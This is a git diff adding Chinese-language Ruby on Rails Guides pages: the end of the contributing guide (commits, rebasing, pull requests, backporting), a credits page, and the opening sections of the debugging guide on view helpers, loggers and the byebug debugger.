5.9 更新 CHANGELOG

CHANGELOG 是每次发布的重要一环,保存着每个 Rails 版本的改动列表。

如果添加或删除了功能、提交了缺陷修正,或者添加了弃用提示,应该在框架的 CHANGELOG 顶部添加一条记录。重构和文档修改一般不应该在 CHANGELOG 中记录。

CHANGELOG 中的记录应该概述所做的改动,并且在末尾加上作者的名字。如果需要,可以写成多行,也可以缩进四个空格,添加代码示例。如果改动与某个工单有关,应该加上工单号。下面是一条 CHANGELOG 记录示例:

+
+*   Summary of a change that briefly describes what was changed. You can use multiple
+    lines and wrap them at around 80 characters. Code examples are ok, too, if needed:
+
+        class Foo
+          def bar
+            puts 'baz'
+          end
+        end
+
+    You can continue after the code example and you can attach issue number. GH#1234
+
+    *Your Name*
+
+
+
+

如果没有代码示例,或者没有分成多行,可以直接在最后一个词后面加上作者的名字。否则,最好新起一段。

5.10 更新 Gemfile.lock

有些改动需要更新依赖。此时,要执行 bundle update 命令,获取依赖的正确版本,并且随改动一起提交 Gemfile.lock 文件。

5.11 提交改动

在自己的电脑中对你的代码满意之后,要把改动提交到 Git 仓库中:

+
+$ git commit -a
+
+
+
+

上述命令会启动编辑器,让你编写一个提交消息。写完之后,保存并关闭编辑器,然后继续往下做。

行文好,而且具有描述性的提交消息有助于别人理解你为什么做这项改动,因此请认真对待提交消息。

好的提交消息类似下面这样:

+
+Short summary (ideally 50 characters or less)
+
+More detailed description, if necessary. It should be wrapped to
+72 characters. Try to be as descriptive as you can. Even if you
+think that the commit content is obvious, it may not be obvious
+to others. Add any description that is already present in the
+relevant issues; it should not be necessary to visit a webpage
+to check the history.
+
+The description section can have multiple paragraphs.
+
+Code examples can be embedded by indenting them with 4 spaces:
+
+    class ArticlesController
+      def index
+        render json: Article.limit(10)
+      end
+    end
+
+You can also add bullet points:
+
+- make a bullet point by starting a line with either a dash (-)
+  or an asterisk (*)
+
+- wrap lines at 72 characters, and indent any additional lines
+  with 2 spaces for readability
+
+
+
+

如果合适,请把多条提交压缩成一条提交。这样便于以后挑选,而且能保持 Git 日志整洁。

5.12 更新你的分支

你在改动的过程中,master 分支很有可能有变化。请获取这些变化:

+
+$ git checkout master
+$ git pull --rebase
+
+
+
+

然后在最新的改动上重新应用你的补丁:

+
+$ git checkout my_new_branch
+$ git rebase master
+
+
+
+

没有冲突?测试依旧能通过?你的改动依然合理?那就往下走。

5.13 派生

打开 GitHub 中的 Rails 仓库,点击右上角的“Fork”按钮。

把派生的远程仓库添加到本地设备中的本地仓库里:

+
+$ git remote add mine https://github.com:<your user name>/rails.git
+
+
+
+

推送到你的远程仓库:

+
+$ git push mine my_new_branch
+
+
+
+

你可能已经把派生的仓库克隆到本地设备中了,因此想把 Rails 仓库添加为远程仓库。此时,要这么做。

在你克隆的派生仓库的目录中:

+
+$ git remote add rails https://github.com/rails/rails.git
+
+
+
+

从官方仓库中下载新提交和分支:

+
+$ git fetch rails
+
+
+
+

合并新内容:

+
+$ git checkout master
+$ git rebase rails/master
+
+
+
+

更新你派生的仓库:

+
+$ git push origin master
+
+
+
+

如果想更新另一个分支:

+
+$ git checkout branch_name
+$ git rebase rails/branch_name
+$ git push origin branch_name
+
+
+
+

5.14 创建拉取请求

打开你刚刚推送的目标仓库(例如 https://github.com/your-user-name/rails),点击“New pull request”按钮。

如果需要修改比较的分支(默认比较 master 分支),点击“Edit”,然后点击“Click to create a pull request for this comparison”。

确保包含你所做的改动。填写补丁的详情,以及一个有意义的标题。然后点击“Send pull request”。Rails 核心团队会收到关于此次提交的通知。

5.15 获得反馈

多数拉取请求在合并之前会经过几轮迭代。不同的贡献者有时有不同的观点,而且有些补丁要重写之后才能合并。

有些 Rails 贡献者开启了 GitHub 的邮件通知,有些则没有。此外,Rails 团队中(几乎)所有人都是志愿者,因此你的拉取请求可能要等几天才能得到第一个反馈。别失望!有时快,有时慢。这就是开源世界的日常。

如果过了一周还是无人问津,你可以尝试主动推进。你可以在 rubyonrails-core 邮件列表中发消息,也可以在拉取请求中发一个评论。

在你等待反馈的过程中,可以再创建其他拉取请求,也可以给别人的拉取请求反馈。我想,他们会感激你的,正如你会感激给你反馈的人一样。

5.16 必要时做迭代

很有可能你得到的反馈是让你修改。别灰心,为活跃的开源项目做贡献就要跟上社区的步伐。如果有人建议你调整代码,你应该做调整,然后重新提交。如果你得到的反馈是,你的代码不应该添加到核心中,或许你可以考虑发布成一个 gem。

5.16.1 压缩提交

我们要求你做的一件事可能是让你“压缩提交”,把你的全部提交合并成一个提交。我们喜欢只有一个提交的拉取请求。这样便于把改动逆向移植(backport)到稳定分支中,压缩后易于还原不良提交,而且 Git 历史条理更清晰。Rails 是个大型项目,过多无关的提交容易扰乱视线。

为此,Git 仓库中要有一个指向官方 Rails 仓库的远程仓库。这样做是有必要的,如果你还没有这么做,确保先执行下述命令:

+
+$ git remote add upstream https://github.com/rails/rails.git
+
+
+
+

这个远程仓库的名称随意,如果你使用的不是 upstream,请相应修改下述说明。

假设你的远程分支是 my_pull_request,你要这么做:

+
+$ git fetch upstream
+$ git checkout my_pull_request
+$ git rebase -i upstream/master
+
+< Choose 'squash' for all of your commits except the first one. >
+< Edit the commit message to make sense, and describe all your changes. >
+
+$ git push origin my_pull_request -f
+
+
+
+

此时,GitHub 中的拉取请求会刷新,更新为最新的提交。

5.16.2 更新拉取请求

有时,你得到的反馈是让你修改已经提交的代码。此时可能需要修正现有的提交。在这种情况下,Git 不允许你推送改动,因为你推送的分支和本地分支不匹配。你无须重新发起拉取请求,而是可以强制推送到 GitHub 中的分支,如前一节的压缩提交命令所示:

+
+$ git push origin my_pull_request -f
+
+
+
+

这个命令会更新 GitHub 中的分支和拉取请求。不过注意,强制推送可能会导致远程分支中的提交丢失。使用时要小心。

5.17 旧版 Ruby on Rails

如果想修正旧版 Ruby on Rails,要创建并切换到本地跟踪分支(tracking branch)。下例切换到 4-0-stable 分支:

+
+$ git branch --track 4-0-stable origin/4-0-stable
+$ git checkout 4-0-stable
+
+
+
+

为了明确知道你处于代码的哪个版本,可以把 Git 分支名放到 shell 提示符中

5.17.1 逆向移植

合并到 master 分支中的改动针对 Rails 的下一个主发布版。有时,你的改动可能需要逆向移植到旧的稳定分支中。一般来说,安全修正和缺陷修正会做逆向移植,而新特性和引入行为变化的补丁不会这么做。如果不确定,在逆向移植之前最好询问一位 Rails 团队成员,以免浪费精力。

对简单的修正来说,逆向移植最简单的方法是根据 master 分支的改动提取差异(diff),然后在目标分支应用改动。

首先,确保你的改动是当前分支与 master 分支之间的唯一差别:

+
+$ git log master..HEAD
+
+
+
+

然后,提取差异:

+
+$ git format-patch master --stdout > ~/my_changes.patch
+
+
+
+

切换到目标分支,然后应用改动:

+
+$ git checkout -b my_backport_branch 4-2-stable
+$ git apply ~/my_changes.patch
+
+
+
+

简单的改动可以这么做。然而,如果改动较为复杂,或者 master 分支的代码与目标分支之间差异巨大,你可能要做更多的工作。逆向移植的工作量有大有小,有时甚至不值得为此付出精力。

解决所有冲突,并且确保测试都能通过之后,推送你的改动,然后为逆向移植单独发起一个拉取请求。还应注意,旧分支的构建目标可能与 master 分支不同。如果可能,提交拉取请求之前最好在本地使用 .travis.yml 文件中给出的 Ruby 版本测试逆向移植。

然后……可以思考下一次贡献了!

6 Rails 贡献者

所有贡献者都在 Rails Contributors 页面中列出。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/credits.html b/credits.html new file mode 100644 index 0000000..5c61020 --- /dev/null +++ b/credits.html @@ -0,0 +1,312 @@ + + + + + + + +Ruby on Rails Guides: Credits + + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Credits

+ +

We'd like to thank the following people for their tireless contributions to this project.

+ + + + +
+
+ +
+
+
+ + +

Rails Guides Reviewers

+ +
Vijay Dev

Vijay Dev

+ Vijayakumar, found as Vijay Dev on the web, is a web applications developer and an open source enthusiast who lives in Chennai, India. He started using Rails in 2009 and began actively contributing to Rails documentation in late 2010. He tweets a lot and also blogs. +

+
Xavier Noria

Xavier Noria

+ Xavier Noria has been into Ruby on Rails since 2005. He is a Rails core team member and enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Xavier is currently an independent Ruby on Rails consultant. Oh, he also tweets and can be found everywhere as "fxn". +

+

Rails Guides Designers

+ +
Jason Zimdars

Jason Zimdars

+ Jason Zimdars is an experienced creative director and web designer who has lead UI and UX design for numerous websites and web applications. You can see more of his design and writing at Thinkcage.com or follow him on Twitter. +

+

Rails Guides Authors

+ +
Ryan Bigg

Ryan Bigg

+ Ryan Bigg works as a Rails developer at Marketplacer and has been working with Rails since 2006. He's the author of Multi Tenancy With Rails and co-author of Rails 4 in Action. He's written many gems which can be seen on his GitHub page and he also tweets prolifically as @ryanbigg. +

+
Oscar Del Ben

Oscar Del Ben

+Oscar Del Ben is a software engineer at Wildfire. He's a regular open source contributor (GitHub account) and tweets regularly at @oscardelben. +

+
Frederick Cheung

Frederick Cheung

+ Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at spacevatican.org. +

+
Tore Darell

Tore Darell

+ Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. You can follow him on Twitter. +

+
Jeff Dean

Jeff Dean

+ Jeff Dean is a software engineer with Pivotal Labs. +

+
Mike Gunderloy

Mike Gunderloy

+ Mike Gunderloy is a consultant with ActionRails. He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at A Fresh Cup and he twitters too much. +

+
Mikel Lindsaar

Mikel Lindsaar

+ Mikel Lindsaar has been working with Rails since 2006 and is the author of the Ruby Mail gem and core contributor (he helped re-write Action Mailer's API). Mikel is the founder of RubyX, has a blog and tweets. +

+
Cássio Marques

Cássio Marques

+ Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at /* CODIFICANDO */, which is mainly written in Portuguese, but will soon get a new section for posts with English translation. +

+
James Miller

James Miller

+ James Miller is a software developer for JK Tech in San Diego, CA. You can find James on GitHub, Gmail, Twitter, and Freenode as "bensie". +

+
Pratik Naik

Pratik Naik

+ Pratik Naik is a Ruby on Rails developer at Basecamp and also a member of the Rails core team. He maintains a blog at has_many :bugs, :through => :rails and has a semi-active twitter account. +

+
Emilio Tagua

Emilio Tagua

+ Emilio Tagua —a.k.a. miloops— is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of Eventioz. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as "miloops". +

+
Heiko Webers

Heiko Webers

+ Heiko Webers is the founder of bauland42, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the Ruby on Rails Security Project. After 10 years of desktop application development, Heiko has rarely looked back. +

+
Akshay Surve

Akshay Surve

+ Akshay Surve is the Founder at DeltaX, hackathon specialist, a midnight code junkie and occasionally writes prose. You can connect with him on Twitter, Linkedin, Personal Blog or Quora. +

+

Rails 指南中文译者

+ +
+ Akshay Surve +

安道

+

+ 高校老师 / 自由翻译,翻译了大量 Ruby 资料。博客 +

+
+ +
+ Akshay Surve +

chinakr

+

+ GitHub +

+
+ +

其他贡献者

+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/debugging_rails_applications.html b/debugging_rails_applications.html new file mode 100644 index 0000000..38eb62d --- /dev/null +++ b/debugging_rails_applications.html @@ -0,0 +1,958 @@ + + + + + + + +调试 Rails 应用 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

调试 Rails 应用

本文介绍如何调试 Rails 应用。

读完本文后,您将学到:

+
    +
  • 调试的目的;
  • +
  • 如何追查测试没有发现的问题;
  • +
  • 不同的调试方法;
  • +
  • 如何分析堆栈跟踪。
  • +
+ + + + +
+
+ +
+
+
+

1 调试相关的视图辅助方法

一个常见的需求是查看变量的值。在 Rails 中,可以使用下面这三个方法:

+
    +
  • debug +
  • +
  • to_yaml +
  • +
  • inspect +
  • +
+

1.1 debug +

debug 方法使用 YAML 格式渲染对象,把结果放在 <pre> 标签中,可以把任何对象转换成人类可读的数据格式。例如,在视图中有以下代码:

+
+<%= debug @article %>
+<p>
+  <b>Title:</b>
+  <%= @article.title %>
+</p>
+
+
+
+

渲染后会看到如下结果:

+
+--- !ruby/object Article
+attributes:
+  updated_at: 2008-09-05 22:55:47
+  body: It's a very helpful guide for debugging your Rails app.
+  title: Rails debugging guide
+  published: t
+  id: "1"
+  created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+
+Title: Rails debugging guide
+
+
+
+

1.2 to_yaml +

在任何对象上调用 to_yaml 方法可以把对象转换成 YAML。转换得到的对象可以传给 simple_format 辅助方法,格式化输出。debug 就是这么做的:

+
+<%= simple_format @article.to_yaml %>
+<p>
+  <b>Title:</b>
+  <%= @article.title %>
+</p>
+
+
+
+

渲染后得到的结果如下:

+
+--- !ruby/object Article
+attributes:
+updated_at: 2008-09-05 22:55:47
+body: It's a very helpful guide for debugging your Rails app.
+title: Rails debugging guide
+published: t
+id: "1"
+created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+Title: Rails debugging guide
+
+
+
+

1.3 inspect +

另一个用于显示对象值的方法是 inspect,显示数组和散列时使用这个方法特别方便。inspect 方法以字符串的形式显示对象的值。例如:

+
+<%= [1, 2, 3, 4, 5].inspect %>
+<p>
+  <b>Title:</b>
+  <%= @article.title %>
+</p>
+
+
+
+

渲染后得到的结果如下:

+
+[1, 2, 3, 4, 5]
+
+Title: Rails debugging guide
+
+
+
+

2 日志记录器

运行时把信息写入日志文件也很有用。Rails 分别为各个运行时环境维护着单独的日志文件。

2.1 日志记录器是什么?

Rails 使用 ActiveSupport::Logger 类把信息写入日志。当然也可以换用其他库,比如 Log4r

若想替换日志库,可以在 config/application.rb 或其他环境的配置文件中设置,例如:

+
+config.logger = Logger.new(STDOUT)
+config.logger = Log4r::Logger.new("Application Log")
+
+
+
+

或者在 config/environment.rb 中添加下述代码中的某一行:

+
+Rails.logger = Logger.new(STDOUT)
+Rails.logger = Log4r::Logger.new("Application Log")
+
+
+
+

默认情况下,日志文件都保存在 Rails.root/log/ 目录中,日志文件的名称对应于各个环境。

2.2 日志等级

如果消息的日志等级等于或高于设定的等级,就会写入对应的日志文件中。如果想知道当前的日志等级,可以调用 Rails.logger.level 方法。

可用的日志等级包括 :debug:info:warn:error:fatal:unknown,分别对应数字 0-5。修改默认日志等级的方式如下:

+
+config.log_level = :warn # 在环境的配置文件中
+Rails.logger.level = 0 # 任何时候
+
+
+
+

这么设置在开发环境和交付准备环境中很有用,在生产环境中则不会写入大量不必要的信息。

Rails 为所有环境设定的默认日志等级是 debug

2.3 发送消息

把消息写入日志文件可以在控制器、模型或邮件程序中调用 logger.(debug|info|warn|error|fatal) 方法。

+
+logger.debug "Person attributes hash: #{@person.attributes.inspect}"
+logger.info "Processing the request..."
+logger.fatal "Terminating application, raised unrecoverable error!!!"
+
+
+
+

下面这个例子增加了额外的写日志功能:

+
+class ArticlesController < ApplicationController
+  # ...
+
+  def create
+    @article = Article.new(params[:article])
+    logger.debug "New article: #{@article.attributes.inspect}"
+    logger.debug "Article should be valid: #{@article.valid?}"
+
+    if @article.save
+      flash[:notice] =  'Article was successfully created.'
+      logger.debug "The article was saved and now the user is going to be redirected..."
+      redirect_to(@article)
+    else
+      render action: "new"
+    end
+  end
+
+  # ...
+end
+
+
+
+

执行上述动作后得到的日志如下:

+
+Processing ArticlesController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
+  Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
+vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
+  Parameters: {"commit"=>"Create", "article"=>{"title"=>"Debugging Rails",
+ "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
+ "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"articles"}
+New article: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
+ "published"=>false, "created_at"=>nil}
+Article should be valid: true
+  Article Create (0.000443)   INSERT INTO "articles" ("updated_at", "title", "body", "published",
+ "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
+ 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
+The article was saved and now the user is going to be redirected...
+Redirected to # Article:0x20af760>
+Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/articles]
+
+
+
+

加入这种日志信息有助于发现异常现象。如果添加了额外的日志消息,记得要合理设定日志等级,免得把大量无用的消息写入生产环境的日志文件。

2.4 为日志打标签

运行多用户、多账户的应用时,使用自定义的规则筛选日志信息能节省很多时间。Active Support 中的 TaggedLogging 模块可以实现这种功能,可以在日志消息中加入二级域名、请求 ID 等有助于调试的信息。

+
+logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+logger.tagged("BCX") { logger.info "Stuff" }                            # Logs "[BCX] Stuff"
+logger.tagged("BCX", "Jason") { logger.info "Stuff" }                   # Logs "[BCX] [Jason] Stuff"
+logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"
+
+
+
+

2.5 日志对性能的影响

如果把日志写入磁盘,肯定会对应用有点小的性能影响。不过可以做些小调整::debug 等级比 :fatal 等级对性能的影响更大,因为写入的日志消息量更多。

如果按照下面的方式大量调用 Logger,也有潜在的问题:

+
+logger.debug "Person attributes hash: #{@person.attributes.inspect}"
+
+
+
+

在上述代码中,即使日志等级不包含 :debug 也会对性能产生影响。这是因为 Ruby 要初始化字符串,再花时间做插值。因此建议把代码块传给 logger 方法,只有等于或大于设定的日志等级时才执行其中的代码。重写后的代码如下:

+
+logger.debug {"Person attributes hash: #{@person.attributes.inspect}"}
+
+
+
+

代码块中的内容,即字符串插值,仅当允许 :debug 日志等级时才会执行。这种节省性能的方式只有在日志量比较大时才能体现出来,但却是个好的编程习惯。

3 使用 byebug gem 调试

如果代码表现异常,可以在日志或控制台中诊断问题。但有时使用这种方法效率不高,无法找到导致问题的根源。如果需要检查源码,byebug gem 可以助你一臂之力。

如果想学习 Rails 源码但却无从下手,也可使用 byebug gem。随便找个请求,然后按照这里介绍的方法,从你编写的代码一直研究到 Rails 框架的代码。

3.1 安装

byebug gem 可以设置断点,实时查看执行的 Rails 代码。安装方法如下:

+
+$ gem install byebug
+
+
+
+

在任何 Rails 应用中都可以使用 byebug 方法呼出调试器。

下面举个例子:

+
+class PeopleController < ApplicationController
+  def new
+    byebug
+    @person = Person.new
+  end
+end
+
+
+
+

3.2 Shell

在应用中调用 byebug 方法后,在启动应用的终端窗口中会启用调试器 shell,并显示调试器的提示符 (byebug)。提示符前面显示的是即将执行的代码,当前行以“=>”标记,例如:

+
+[1, 10] in /PathTo/project/app/controllers/articles_controller.rb
+    3:
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     byebug
+=>  8:     @articles = Article.find_recent
+    9:
+   10:     respond_to do |format|
+   11:       format.html # index.html.erb
+   12:       format.json { render json: @articles }
+
+(byebug)
+
+
+
+

如果是浏览器中执行的请求到达了那里,当前浏览器标签页会处于挂起状态,等待调试器完工,跟踪完整个请求。

例如:

+
+=> Booting Puma
+=> Rails 5.1.0 application starting in development on http://0.0.0.0:3000
+=> Run `rails server -h` for more startup options
+Puma starting in single mode...
+* Version 3.4.0 (ruby 2.3.1-p112), codename: Owl Bowl Brawl
+* Min threads: 5, max threads: 5
+* Environment: development
+* Listening on tcp://localhost:3000
+Use Ctrl-C to stop
+Started GET "/" for 127.0.0.1 at 2014-04-11 13:11:48 +0200
+  ActiveRecord::SchemaMigration Load (0.2ms)  SELECT "schema_migrations".* FROM "schema_migrations"
+Processing by ArticlesController#index as HTML
+
+[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
+    3:
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     byebug
+=>  8:     @articles = Article.find_recent
+    9:
+   10:     respond_to do |format|
+   11:       format.html # index.html.erb
+   12:       format.json { render json: @articles }
+(byebug)
+
+
+
+

现在可以深入分析应用的代码了。首先我们来查看一下调试器的帮助信息,输入 help

+
+(byebug) help
+
+  break      -- Sets breakpoints in the source code
+  catch      -- Handles exception catchpoints
+  condition  -- Sets conditions on breakpoints
+  continue   -- Runs until program ends, hits a breakpoint or reaches a line
+  debug      -- Spawns a subdebugger
+  delete     -- Deletes breakpoints
+  disable    -- Disables breakpoints or displays
+  display    -- Evaluates expressions every time the debugger stops
+  down       -- Moves to a lower frame in the stack trace
+  edit       -- Edits source files
+  enable     -- Enables breakpoints or displays
+  finish     -- Runs the program until frame returns
+  frame      -- Moves to a frame in the call stack
+  help       -- Helps you using byebug
+  history    -- Shows byebug's history of commands
+  info       -- Shows several informations about the program being debugged
+  interrupt  -- Interrupts the program
+  irb        -- Starts an IRB session
+  kill       -- Sends a signal to the current process
+  list       -- Lists lines of source code
+  method     -- Shows methods of an object, class or module
+  next       -- Runs one or more lines of code
+  pry        -- Starts a Pry session
+  quit       -- Exits byebug
+  restart    -- Restarts the debugged program
+  save       -- Saves current byebug session to a file
+  set        -- Modifies byebug settings
+  show       -- Shows byebug settings
+  source     -- Restores a previously saved byebug session
+  step       -- Steps into blocks or methods one or more times
+  thread     -- Commands to manipulate threads
+  tracevar   -- Enables tracing of a global variable
+  undisplay  -- Stops displaying all or some expressions when program stops
+  untracevar -- Stops tracing a global variable
+  up         -- Moves to a higher frame in the stack trace
+  var        -- Shows variables and its values
+  where      -- Displays the backtrace
+
+(byebug)
+
+
+
+

如果想查看前面十行代码,输入 list-(或 l-)。

+
+(byebug) l-
+
+[1, 10] in /PathTo/project/app/controllers/articles_controller.rb
+   1  class ArticlesController < ApplicationController
+   2    before_action :set_article, only: [:show, :edit, :update, :destroy]
+   3
+   4    # GET /articles
+   5    # GET /articles.json
+   6    def index
+   7      byebug
+   8      @articles = Article.find_recent
+   9
+   10      respond_to do |format|
+
+
+
+

这样我们就可以在文件内移动,查看 byebug 所在行上面的代码。如果想查看你在哪一行,输入 list=

+
+(byebug) list=
+
+[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
+    3:
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     byebug
+=>  8:     @articles = Article.find_recent
+    9:
+   10:     respond_to do |format|
+   11:       format.html # index.html.erb
+   12:       format.json { render json: @articles }
+(byebug)
+
+
+
+

3.3 上下文

开始调试应用时,会进入堆栈中不同部分对应的不同上下文。

到达一个停止点或者触发某个事件时,调试器就会创建一个上下文。上下文中包含被终止应用的信息,调试器用这些信息审查帧堆栈,计算变量的值,以及调试器在应用的什么地方终止执行。

任何时候都可执行 backtrace 命令(或别名 where)打印应用的回溯信息。这有助于理解是如何执行到当前位置的。只要你想知道应用是怎么执行到当前代码的,就可以通过 backtrace 命令获得答案。

+
+(byebug) where
+--> #0  ArticlesController.index
+      at /PathToProject/app/controllers/articles_controller.rb:8
+    #1  ActionController::BasicImplicitRender.send_action(method#String, *args#Array)
+      at /PathToGems/actionpack-5.1.0/lib/action_controller/metal/basic_implicit_render.rb:4
+    #2  AbstractController::Base.process_action(action#NilClass, *args#Array)
+      at /PathToGems/actionpack-5.1.0/lib/abstract_controller/base.rb:181
+    #3  ActionController::Rendering.process_action(action, *args)
+      at /PathToGems/actionpack-5.1.0/lib/action_controller/metal/rendering.rb:30
+...
+
+
+
+

当前帧使用 --> 标记。在回溯信息中可以执行 frame n 命令移动(从而改变上下文),其中 n 为帧序号。如果移动了,byebug 会显示新的上下文。

+
+(byebug) frame 2
+
+[176, 185] in /PathToGems/actionpack-5.1.0/lib/abstract_controller/base.rb
+   176:       # is the intended way to override action dispatching.
+   177:       #
+   178:       # Notice that the first argument is the method to be dispatched
+   179:       # which is *not* necessarily the same as the action name.
+   180:       def process_action(method_name, *args)
+=> 181:         send_action(method_name, *args)
+   182:       end
+   183:
+   184:       # Actually call the method associated with the action. Override
+   185:       # this method if you wish to change how action methods are called,
+(byebug)
+
+
+
+

可用的变量和逐行执行代码时一样。毕竟,这就是调试的目的。

向前或向后移动帧可以执行 up [n]down [n] 命令,分别向前或向后移动 n 帧。n 的默认值为 1。向前移动是指向较高的帧数移动,向下移动是指向较低的帧数移动。

3.4 线程

thread 命令(缩写为 th)可以列出所有线程、停止线程、恢复线程,或者在线程之间切换。其选项如下:

+
    +
  • thread:显示当前线程;
  • +
  • thread list:列出所有线程及其状态,+ 符号表示当前线程;
  • +
  • thread stop n:停止线程 n
  • +
  • thread resume n:恢复线程 n
  • +
  • thread switch n:把当前线程切换到线程 n
  • +
+

调试并发线程时,如果想确认代码中没有条件竞争,使用这个命令十分方便。

3.5 审查变量

任何表达式都可在当前上下文中求值。如果想计算表达式的值,直接输入表达式即可。

下面这个例子说明如何查看当前上下文中实例变量的值:

+
+[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
+    3:
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     byebug
+=>  8:     @articles = Article.find_recent
+    9:
+   10:     respond_to do |format|
+   11:       format.html # index.html.erb
+   12:       format.json { render json: @articles }
+
+(byebug) instance_variables
+[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context,
+ :@_action_name, :@_response_body, :@marked_for_same_origin_verification,
+ :@_config]
+
+
+
+

你可能已经看出来了,在控制器中可以使用的实例变量都显示出来了。这个列表随着代码的执行会动态更新。例如,使用 next 命令(本文后面会进一步说明这个命令)执行下一行代码:

+
+(byebug) next
+
+[5, 14] in /PathTo/project/app/controllers/articles_controller.rb
+   5     # GET /articles.json
+   6     def index
+   7       byebug
+   8       @articles = Article.find_recent
+   9
+=> 10       respond_to do |format|
+   11         format.html # index.html.erb
+   12        format.json { render json: @articles }
+   13      end
+   14    end
+   15
+(byebug)
+
+
+
+

然后再查看 instance_variables 的值:

+
+(byebug) instance_variables
+[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context,
+ :@_action_name, :@_response_body, :@marked_for_same_origin_verification,
+ :@_config, :@articles]
+
+
+
+

实例变量中出现了 @articles,因为执行了定义它的代码。

执行 irb 命令可进入 irb 模式(这不显然吗),irb 会话使用当前上下文。

var 命令是显示变量值最便捷的方式:

+
+(byebug) help var
+
+  [v]ar <subcommand>
+
+  Shows variables and its values
+
+
+  var all      -- Shows local, global and instance variables of self.
+  var args     -- Information about arguments of the current scope
+  var const    -- Shows constants of an object.
+  var global   -- Shows global variables.
+  var instance -- Shows instance variables of self or a specific object.
+  var local    -- Shows local variables in current scope.
+
+
+
+

上述方法可以很轻易查看当前上下文中的变量值。例如,下述代码确认没有局部变量:

+
+(byebug) var local
+(byebug)
+
+
+
+

审查对象的方法也可以使用这个命令:

+
+(byebug) var instance Article.new
+@_start_transaction_state = {}
+@aggregation_cache = {}
+@association_cache = {}
+@attributes = #<ActiveRecord::AttributeSet:0x007fd0682a9b18 @attributes={"id"=>#<ActiveRecord::Attribute::FromDatabase:0x007fd0682a9a00 @name="id", @value_be...
+@destroyed = false
+@destroyed_by_association = nil
+@marked_for_destruction = false
+@new_record = true
+@readonly = false
+@transaction_state = nil
+
+
+
+

display 命令可用于监视变量,查看在代码执行过程中变量值的变化:

+
+(byebug) display @articles
+1: @articles = nil
+
+
+
+

display 命令后跟的变量值会随着执行堆栈的推移而变化。如果想停止显示变量值,可以执行 undisplay n 命令,其中 n 是变量的代号(在上例中是 1)。

3.6 逐步执行

现在你知道在运行代码的什么位置,以及如何查看变量的值了。下面我们继续执行应用。

step 命令(缩写为 s)可以一直执行应用,直到下一个逻辑停止点,再把控制权交给调试器。next 命令的作用和 step 命令类似,但是 step 命令会在执行下一行代码之前停止,一次只执行一步,而 next 命令会执行下一行代码,但不跳出方法。

我们来看看下面这种情形:

+
+Started GET "/" for 127.0.0.1 at 2014-04-11 13:39:23 +0200
+Processing by ArticlesController#index as HTML
+
+[1, 6] in /PathToProject/app/models/article.rb
+   1: class Article < ApplicationRecord
+   2:   def self.find_recent(limit = 10)
+   3:     byebug
+=> 4:     where('created_at > ?', 1.week.ago).limit(limit)
+   5:   end
+   6: end
+
+(byebug)
+
+
+
+

